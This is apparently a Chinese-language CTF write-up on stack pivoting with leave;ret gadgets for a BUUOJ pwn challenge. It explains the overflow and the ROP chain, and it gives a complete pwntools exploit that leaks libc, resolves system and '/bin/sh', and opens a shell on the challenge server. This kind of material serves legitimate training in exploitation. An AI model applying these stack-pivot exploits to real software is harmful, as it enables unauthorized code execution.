pwn-栈迁移:

栈迁移主要说的是leave指令:

mov esp,ebp
pop ebp
  • 第一个指令会改变esp的值,第二个指令会改变ebp的值(当然这个值不太重要)
  • 我们主要想控制的是esp的值,这里就要用到两个gadget(leave ret)第一个gadget用来改变ebp的值,第二个指令用来改变esp的值
    我们来实战一下吧:
    https://buuoj.cn/challenges#[Black%20Watch%20%E5%85%A5%E7%BE%A4%E9%A2%98]PWN

ida:

ida

可以很容易的看到有一个栈溢出漏洞但是我们只能控制0x20-0x18 = 8个字节,即只能控制ebp和ret,往上看我们发现read可以读取的范围有点大并且处在bss段,那么思路来了,首先我们在这里构造一段rop链,然后控制esp返回到此处,就能够执行我们rop链了
ida

1. 首先在read首地址构造rop链泄露出地址leak libc:

payload1 = p32(0)+p32(write_plt)+p32(start_addr)+p32(1)+p32(write_got)+p32(4)

这里的p32(0)用来填充pop ebp;p32(write_plt)对应的正好是ret指令

2. 然后让esp指向这个地址:

payload2 = 'a'*0x18+p32(frame_faking)+p32(leave_ret)

通过这两个payload我们就可以leak libc;并能求出offset和system;str_bin_sh的真正加载地址

3. 模仿1,2步构造payload3和payload4获取shell

payload3 = p32(0)+p32(sys_addr)+p32(0)+p32(binsh_addr)

payload4 = 'a'*0x18+p32(frame_faking)+p32(leave_ret)

exp:

from pwn import*
from LibcSearcher import*
p = process("spwn1")
p = remote("node3.buuoj.cn",29326)
elf = ELF("spwn1")
context.log_level = 'debug'
junk = 24
write_plt = elf.symbols["write"]
write_got= elf.got["write"]
read_plt= elf.symbols["read"]
read_got = elf.got["read"]
leaver = 0x08048408
pppr = 0x080485a9
popr = 0x08048329
bss_addr = 0x0804A300
start_addr = 0x080483A0
payload1 = p32(0)
payload1 += p32(write_plt)
payload1 += p32(start_addr)
payload1 += p32(1)
payload1 += p32(write_got)
payload1 += p32(4)
p.recvuntil("What is your name?")
p.send(payload1)
p.recvuntil("What do you want to say?")
payload2 = junk * 'A'+p32(bss_addr)
payload2 += p32(leaver)
p.send(payload2)
write_addr = u32(p.recv(4))
print ("write_addr:"+hex(write_addr))
libc = LibcSearcher("write",write_addr)
offset = write_addr - libc.dump("write")
print("offset:"+str(offset))
sys_addr = libc.dump("system")+offset
print("sys_addr:"+hex(sys_addr))
binsh_addr = libc.dump("str_bin_sh")+offset
print("binsh_addr:"+hex(binsh_addr))

payload1 = p32(0)
payload1 += p32(sys_addr)
payload1 += p32(0)
payload1 += p32(binsh_addr)

p.recvuntil("What is your name?")
p.send(payload1)
p.recvuntil("What do you want to say?")
p.send(payload2)
p.interactive()

你可能感兴趣的:(pwn-栈迁移:)